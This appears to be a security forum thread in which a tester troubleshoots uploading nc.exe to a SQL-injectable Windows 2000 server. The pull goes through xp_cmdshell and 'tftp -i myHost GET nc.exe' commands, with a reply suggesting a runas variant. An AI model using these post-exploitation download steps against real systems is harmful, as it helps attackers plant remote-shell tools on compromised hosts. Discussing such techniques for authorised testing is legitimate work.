Maybe sqlsvc user can't write in c:\ folder. Can He?.

The first call to tftp you are using Administrator user, who of course can write in c:\ .

Try "runas /user:sqlsvc tftp -i myHost GET nc.exe c:\winnt\temp\nc.exe".
It must work.

It doesn't.
Besides, I have done "runas /user:sqlsvc echo a > c:\xx.exe" and the file is created.
any ideas?

If it is any useful I recieve the following error on the Target machine:
"tftp: No se puede escribir en el archivo local 'c:\xx.exe'"
(tftp: Not able to write in local file 'c:\xx.exe')

In a tcpdump in my TFTP Server I get the following error:
10:41:37.528994 IP TARGET.1942 > SERVER.tftp: 48 ERROR EACCESS no se puede abrir el archivo para escritura"
(cannot open file for writing)

I think its beyond xp_cmdshell now..

Thanks, Andy

Hi, I am testing a Web App vulnerable to SQL Injection.
It is hosted in a Windows 2000 SP4 and SQL 2000 with no patches.

While trying to use the xp_cmdshell to upload nc.exe from my tftpd server to the Webserver, I experienced some problems.

I was able to execute xp_cmdshell 'echo a > c:\a.txt' . File is created.

As administrator (using a windows cmd.exe shell) I ran "tftp -i myHost GET nc.exe c:\nc.exe". File is downloaded.

When I tried it through the wep app it failed. I tried directly through SQL Query Analizer and it also failed.

SQL is running as a low priviledged account (sqlsvc)...

Then I ran (as Administrator) "runas /user:sqlsvc tftp -i myHost GET nc.exe c:\nc.exe" and IT FAILED.!!

I can easily deduce that the problem is the TFTP client (tftp.exe)...

Any Ideas?
